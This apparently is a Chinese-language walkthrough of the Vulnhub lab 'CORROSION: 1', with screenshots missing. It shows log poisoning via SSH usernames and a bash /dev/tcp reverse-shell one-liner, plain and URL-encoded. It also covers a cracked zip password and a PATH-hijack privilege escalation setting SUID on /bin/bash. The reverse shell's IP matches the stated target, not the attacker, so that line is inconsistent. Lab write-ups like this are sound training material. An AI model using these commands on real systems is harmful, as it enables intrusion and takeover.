Vulnhub 靶场 CORROSION: 1

Vulnhub 靶场 CORROSION: 1

前期准备：

靶机地址：https://www.vulnhub.com/entry/corrosion-1,730/

kali攻击机ip：192.168.147.211

靶机ip：192.168.147.190

一、信息收集

1、nmap进行扫描。



发现开放了22和80端口。

2、访问80端口。



源代码中也没有什么提示，扫一下目录：



挨个访问一下：

/tasks





提示需要完成任务，修改log日志。

/blog-post



randy 大概是个用户名。很具前面目录扫描的结果判断，/blog-post 目录后还有东西，再扫一下：



访问/archives

二、漏洞利用

查看一下 randylogs.php 文件：



发现空白什么都没有，用FUZZ进行模糊测试。



得到了file参数。

可以访问系统文件，访问之前提到的auth.log日志。

发现会记录 ssh 登录的所有活动，那我们可以尝试添加恶意 PHP 代码作为用户名，该代码将从用户输入并执行命令。这通常称为日志中毒。



再次查看日志信息：



发现没问题，写入shell

bash -c 'bash -i >& /dev/tcp/192.168.147.190/1234 0>&1'

url编码一下。

bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.147.190%2F1234%200%3E%261%27

访问并监听：



攻击机监听



之前我们访问 /etc/passwd 文件时，发现有个用户 randy，大概下一步是要提权到 rangdy。

三、提权

查看了一下系统内的文件



发现user_backuo.zip比较可疑，解压缩发现需要密码，传送到本机进行破解。



爆破一下压缩包。



pw == !randybaby

解压缩查看







发现了 /home/randy/tools/easysysinfo ，查看一下：



查看权限发现并不能改，那就用之前的方法，本地编辑 cat 文件，写入 shell

echo 'chmod +s /bin/bash' > cat
chmod 777 cat
export PATH=/home/randy/tools:$PATH
./easysysinfo
/bin/bash -p

提权成功。